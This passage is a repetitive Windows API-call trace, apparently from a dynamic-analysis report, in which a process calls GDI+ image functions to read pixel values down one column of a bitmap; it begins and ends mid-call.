width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=77, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=78, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=79, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=80, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=81, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=82, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=83, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.237] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.237] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=84, color=0x563e140) returned 0x0 [0057.237] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=85, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=86, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=87, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=88, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=89, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=90, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=91, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=92, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.238] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.238] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=93, color=0x563e140) returned 0x0 [0057.238] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=94, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=95, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=96, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=97, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=98, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=99, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=100, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=101, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=102, color=0x563e140) returned 0x0 [0057.239] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.239] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.239] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=103, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=104, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=105, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=106, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=107, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=108, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=109, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=110, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=111, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.240] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.240] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=112, color=0x563e140) returned 0x0 [0057.240] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=113, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=114, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=115, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=116, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=117, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=118, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=119, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=120, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=121, color=0x563e140) returned 0x0 [0057.241] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.241] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.241] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=122, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=123, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=124, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=125, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=126, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=127, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=128, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=129, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=130, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.242] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.242] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=131, color=0x563e140) returned 0x0 [0057.242] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=132, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=133, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=134, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=135, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=136, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=137, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=138, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=139, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=140, color=0x563e140) returned 0x0 [0057.243] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.243] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.243] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=141, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=142, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=143, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=144, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=145, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=146, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=147, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=148, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=149, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.244] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.244] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=150, color=0x563e140) returned 0x0 [0057.244] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=151, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=152, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=153, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=154, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=155, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=156, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=157, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=158, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=159, color=0x563e140) returned 0x0 [0057.245] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.245] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.245] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=160, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=161, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=162, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=163, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=164, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=165, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=166, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=167, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=168, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.246] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.246] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=169, color=0x563e140) returned 0x0 [0057.246] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=170, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=171, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=172, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=173, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=174, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=175, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=176, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=177, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.247] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=178, color=0x563e140) returned 0x0 [0057.247] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.247] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=179, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=180, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=181, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=182, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=183, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=184, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.248] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=185, color=0x563e140) returned 0x0 [0057.248] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.248] GdipGetImageHeight (image=0x4c27818, height=0x563e130) returned 0x0 [0057.249] GdipBitmapGetPixel (bitmap=0x4c27818, x=0, y=186, color=0x563e140) returned 0x0 [0057.249] GdipGetImageWidth (image=0x4c27818, width=0x563e130) returned 0x0 [0057.249] GdipGetImageHeight 